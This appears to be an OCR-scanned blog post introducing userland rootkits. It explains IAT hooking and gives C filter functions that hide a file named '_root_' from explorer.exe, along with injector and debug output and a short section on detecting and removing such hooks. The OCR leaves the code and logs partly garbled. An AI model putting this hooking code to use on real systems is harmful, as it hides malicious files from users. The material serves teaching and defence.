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This is the first part of this series about Userland rootkits, I wanted to write on it and demonstrate how some

rootkits do to hide files by using IAT hooks.

This post is about a classic trick, known for decades. Malware specialists may know this already, so this is
mostly an introduction for whom willing to learn the theory of rootkits, and have a demonstration. Call that

beginners if you want (&)

Import Address Table (IAT)

The IAT table is a pointer table that holds the address in memory (within the DLL that hosts it) for every

function needed by a program.

Example: Let’s say you write a program able to enumerate files in a folder. You’ll probably need

FindFirstFile/FindNextFile, so when you compile it, the compiler will look for address of those functions in
kernel32.dll, and add the corresponding entries into your program’s import address table => kernel32.dll

(FindFirstFile::0xAAAAAAAA, FindNextFile:0xBBBBBBBB).

So when your program will call the functions, it will look into the table and directly jump at the address given by
the table. If one is able to rewrite that address in the table (dynamically), it will be able to redirect the execution
flow to a function (with same prototype) that will filters the results, and possibly modify them before returning

to the caller.

IAT patching can be used by malware or legit software to do many things, keylogging, protection, theft of

credit cards,... Many (in)famous malware are using it, like Zeus trojan, Stuxnet, ...
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Practical case: File hider

We’ll study how to detour IAT table of a proces to hide a file. Disclaimer: This is not a tutorial to make a
rootkit, but a practical case for educational purpese only. Anyway, this is covered for decades on other

websites...
This rootkit is made in 2 steps:

e 1. Make a DLL responsible for IAT patching, and installing filters (the payload).
e 2. Make an injector, that will create a new thread (in a target process) for the DLL entrypoint (not covered
here).

—— explorer.exe ———
Injecting C:“Documents and Settings:tigzy:“Bureau~filehider.dll in explorer.exe..

allocate memory

Reserved 53 bytes B chBBEHE
Writing memory

Written C @ coBBEH

reating thread...

Wait return

cloze handle = @

——— dllinject.exe ——

Mot match

C:“Documents and Settings“tigzy“Bureaur

Injection of the DLL into explorer.exe

I’ll not show you the entire code, and especially how to inject the DLL and patch the table. I’ll just write the
hooking filter function. We want to intercept directory enumeration, so we will hook the functions

FindFirstFile/FindNextFile. As we want this to be spectacular (!) we will hook into explorer.exe, because this is

the process responsible for showing folders content to the user.

HANDLE WINAPI MyFindFirstFileW(LPCTSTR 1pFileName, LPWIN32_FIND_DATA 1lpFindFileData )

{
HANDLE ret = FindFirstFileW(lpFileName, lpFindFileData);

TCHAR msg[MAX_PATH];
swprintf_s(msg, L"FindFirstFileW : %s\n", lpFindFileData-&gt;cFileName);

QutputDebugString( msg );

if(!_wcsicmp(lpFindFileData-&gt;cFileName, L" _root_"))

{
swprintf_s(msg, L"Protected file : %s, hiding...\n", 1pFindFileData-&gt;cFileName);
OutputDebugString( msg );
FindNextFileW(ret, lpFindFileData);

}

return ret;
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BOOL WINAPI MyFindNextFileW(HANDLE hFindFile,LPWIN32_FIND_DATA 1pFindFileData)

{
TCHAR msg[MAX_PATH];
if(FindNextFileW(hFindFile, lpFindFileData))
{
if(!_wesicmp(lpFindFileData-&gt;cFileName, L"_root_"))
{
swprintf_s(msg, L"Protected file : %s, hiding...\n", lpFindFileData-&gt;cFileName);
OutputDebugString( msg );
if(FindNextFileW(hFindFile, lpFindFileData))
return 1;
return 0;
}
swprintf_s(msg, L"FindNextFileW : %s\n", lpFindFileData-&gt;cFileName);
OutputDebugString( msg );
return 1;
}
return 0;
}

The code is self explaining. We filter calls to FindFirstFile/FindNextFile, and we compare the file names to a
hard coded string. If there’s a match, we hide that entry by calling the API another time (we simply “jump”

over the entry). As a result, the file will not be seen by the user.

4

EEHEd QA 2 @ EEBT| 9F | A

b3 Time Debug Print

1 o.oQoooooo [584] FindFirstFileE=zW

1 n.ooozzezd [584] FindFir=stFileEx

2 0.00250674 [584] FindHextFileW : .

3 n.on0ze3zise [584] FindHextFileW : Debug

4 0.00281041 [584] FindHextFileW : Di=gue partage. lnlk

5 0.00z293892 [584] FindHextFileW : dllinject.exe

(2 0.o00306491 [584] FindHextFileW : filehider .dll

7 0.00321465 [584] FindHextFileW : LogicielsDesinfection
g 0.00338060 [584] FindNextFileW : process-monitor 3-10_fr 27722 . zip
9 0.00350743 [584] FindNextFileW : RoguesKillerilt eze

10 0.00363594 [584] FindHextFileW : TaskSTRun.exe

11 0.00377590 [584] Protected file : _root_ ., hiding. ..

12 0.0029147%4 [584] FindHextFileW .

13 0.00403459 [584] FindHextFileW : Hozilla Firefox. lnk

Debug output of the rootkit, showing hidden file

A demo of the rootkit is available here:
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Detection/Removal

To detect IAT hooks, simply parse the PE structure of all modules of the targeted process. Then look at the

import tables, and check if their addresses are inside the owning module.

To remove a IAT hook, you can look at the EAT (Export Address Table) of the original module, and restore the
IAT address with the entry of the EAT.

Useful links

— An In-Depth Look into the Win32 Portable Executable File.

Author: tigzy
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